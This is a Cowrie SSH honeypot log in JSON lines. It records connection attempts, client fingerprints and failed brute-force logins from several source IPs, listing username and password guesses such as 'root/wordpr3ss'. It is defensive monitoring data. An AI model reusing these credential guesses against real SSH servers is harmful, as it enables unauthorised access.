{"eventid":"cowrie.login.failed","username":"root","password":"wordpr3ss","message":"login attempt [root/wordpr3ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:39.349345Z","src_ip":"213.209.159.158","session":"7394a3cb53a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":45452,"dst_ip":"159.203.135.109","dst_port":22,"session":"008d40b175dc","protocol":"ssh","message":"New connection: 202.53.94.246:45452 (159.203.135.109:22) [session: 008d40b175dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:39.644837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:39.650037Z","src_ip":"202.53.94.246","session":"008d40b175dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:39.867151Z","src_ip":"202.53.94.246","session":"008d40b175dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pula","password":"pula123","message":"login attempt [pula/pula123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:40.765763Z","src_ip":"202.53.94.246","session":"008d40b175dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:41.930107Z","src_ip":"213.209.159.158","session":"7394a3cb53a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:41.985116Z","src_ip":"202.53.94.246","session":"008d40b175dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":12770,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd4ba7d19cd3","protocol":"ssh","message":"New connection: 213.209.159.158:12770 (159.203.135.109:22) [session: dd4ba7d19cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:42.057237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:43.303680Z","src_ip":"213.209.159.158","session":"dd4ba7d19cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:43.308046Z","src_ip":"213.209.159.158","session":"dd4ba7d19cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:45.047756Z","src_ip":"180.76.170.111","session":"b46463b84792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wq123456","message":"login attempt [root/wq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:48.747179Z","src_ip":"213.209.159.158","session":"dd4ba7d19cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:51.097182Z","src_ip":"213.209.159.158","session":"dd4ba7d19cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":28278,"dst_ip":"159.203.135.109","dst_port":22,"session":"28cac764cab1","protocol":"ssh","message":"New connection: 213.209.159.158:28278 (159.203.135.109:22) [session: 28cac764cab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:51.176050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:52.382534Z","src_ip":"213.209.159.158","session":"28cac764cab1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:52.387225Z","src_ip":"213.209.159.158","session":"28cac764cab1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":56662,"dst_ip":"10.17.0.5","dst_port":22,"session":"75ca768d4336","protocol":"ssh","message":"New connection: 40.83.182.122:56662 (10.17.0.5:22) [session: 75ca768d4336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:54.201430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:54.207060Z","src_ip":"40.83.182.122","session":"75ca768d4336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:54.283484Z","src_ip":"40.83.182.122","session":"75ca768d4336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1221","message":"login attempt [root/1221] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:54.618094Z","src_ip":"40.83.182.122","session":"75ca768d4336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"75.5","message":"Connection lost after 75.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:54.929799Z","src_ip":"103.154.241.42","session":"e426c70c3d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:55.698833Z","src_ip":"40.83.182.122","session":"75ca768d4336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wH!123345","message":"login attempt [root/wH!123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:57.886703Z","src_ip":"213.209.159.158","session":"28cac764cab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:00.217458Z","src_ip":"213.209.159.158","session":"28cac764cab1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41142,"dst_ip":"159.203.135.109","dst_port":22,"session":"23de085112d0","protocol":"ssh","message":"New connection: 213.209.159.158:41142 (159.203.135.109:22) [session: 23de085112d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:00.304456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:01.453697Z","src_ip":"213.209.159.158","session":"23de085112d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:01.460105Z","src_ip":"213.209.159.158","session":"23de085112d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":39492,"dst_ip":"159.203.135.109","dst_port":22,"session":"4db6a56fe039","protocol":"ssh","message":"New connection: 109.237.96.109:39492 (159.203.135.109:22) [session: 4db6a56fe039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:01.935672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:01.942347Z","src_ip":"109.237.96.109","session":"4db6a56fe039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:02.036595Z","src_ip":"109.237.96.109","session":"4db6a56fe039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07071987","message":"login attempt [root/07071987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:02.321344Z","src_ip":"109.237.96.109","session":"4db6a56fe039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:03.419812Z","src_ip":"109.237.96.109","session":"4db6a56fe039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":48606,"dst_ip":"10.17.0.5","dst_port":22,"session":"596d0d157fa0","protocol":"ssh","message":"New connection: 198.12.80.170:48606 (10.17.0.5:22) [session: 596d0d157fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:06.239178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:06.246488Z","src_ip":"198.12.80.170","session":"596d0d157fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:06.270444Z","src_ip":"198.12.80.170","session":"596d0d157fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:06.393982Z","src_ip":"198.12.80.170","session":"596d0d157fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wsyd","message":"login attempt [root/Wsyd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:07.320780Z","src_ip":"213.209.159.158","session":"23de085112d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:07.427514Z","src_ip":"198.12.80.170","session":"596d0d157fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:09.533244Z","src_ip":"213.209.159.158","session":"23de085112d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":4242,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a0dc641e1bd","protocol":"ssh","message":"New connection: 213.209.159.158:4242 (159.203.135.109:22) [session: 4a0dc641e1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:09.638619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:10.768955Z","src_ip":"213.209.159.158","session":"4a0dc641e1bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:10.773063Z","src_ip":"213.209.159.158","session":"4a0dc641e1bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Webadmin1234","message":"login attempt [root/Webadmin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:16.553537Z","src_ip":"213.209.159.158","session":"4a0dc641e1bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:18.808418Z","src_ip":"213.209.159.158","session":"4a0dc641e1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63814,"dst_ip":"159.203.135.109","dst_port":22,"session":"340901b51d99","protocol":"ssh","message":"New connection: 213.209.159.158:63814 (159.203.135.109:22) [session: 340901b51d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:18.890021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:33:20.306165Z","src_ip":"213.209.159.158","session":"340901b51d99","protocol":"ssh"}
